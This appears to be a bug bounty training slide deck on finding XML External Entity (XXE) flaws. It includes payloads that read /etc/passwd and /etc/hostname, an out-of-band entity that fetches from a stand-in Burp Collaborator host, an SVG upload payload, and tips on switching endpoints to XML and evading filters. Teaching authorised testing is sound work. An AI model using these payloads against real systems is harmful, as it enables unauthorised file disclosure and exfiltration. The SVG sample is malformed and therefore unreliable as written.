



XXE Bug Hunting Methodology

Become a Successful
Bug Bounty Hunter



XXE – What is it?

- XML External Entity Injection
- XXE (XML External Entity) is a vulnerability in web applications that allows attackers to manipulate the processing of XML input and potentially access sensitive information or execute remote code.



XXE – Test

- Test all POST requests where the app takes XML input



XXE – Change to XML

- Often JSON endpoints also support XML
- Set a match-replace on Burp to change all Content-Type:application/json to **Content-Type:application/xml**



XXE – Sample

Standard request:

```
<?xml version="1.0" encoding="UTF-8"?>  
<note>  
  <to>Tove</to>  
  <from>Jani</from>  
  <heading>Reminder</heading>  
  <body>Don't forget me this weekend!</body>  
</note>
```



XXE – Sample

Evil request to read local files:

```
<?xml version="1.0"?>  
<!DOCTYPE data [  
  <!ELEMENT data (#ANY)>  
  <!ENTITY hacker SYSTEM "file:///etc/passwd">  
]>  
<data>&hacker;</data>
```



XXE – File Upload

XML file upload standard request (in .xml format)

```
<!--?xml version="1.0" ?-->  
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>  
<userInfo>  
  <firstName>John</firstName>  
  <lastName>&example;</lastName>  
</userInfo>
```




XXE – File Upload

XML file upload evil request (in .xml format)

```
<?xml version="1.0"?>
```

```
<!DOCTYPE root [<!ENTITY martin SYSTEM 'file:///etc/passwd'>]>
```

```
<root>&martin;</root>
```




XXE – Filters

- Trickiest part of XXE -> Filters
- Where there is a filter there is usually a bypass!
- Often XXEs are blind (i.e. no info returned visibly and directly)
- Can use OOB techniques to exfiltrate data instead



XXE – Out of Band

XML file upload evil request (OOB to Collaborator)

```
<?xml version="1.0" ?>
```

```
<!DOCTYPE root [
```

```
<!ENTITY % ext SYSTEM "https://BURP/"> %ext;]>
```

```
<r></r>
```



XXE - .svg Files

- XXE via .svg file uploads
- Often Devs don't realize the danger .svg files pose
- Can be used for XXE, XSS and other payloads
- Important: It's only an XXE when rendered server-side!



XXE - .svg Files

XXE file upload evil request (via .svg)

```
<?xml version="1.0" standalone="yes"?>  
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" >  
>  
>  
<svg width="128px" height="128px"  
xmlns="http://www.w3.org/2000/svg"  
xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">  
  <text font-size="16" x="0" y="16">&xxe;</text>  
</svg>
```



Thank You!

Become a Successful
Bug Bounty Hunter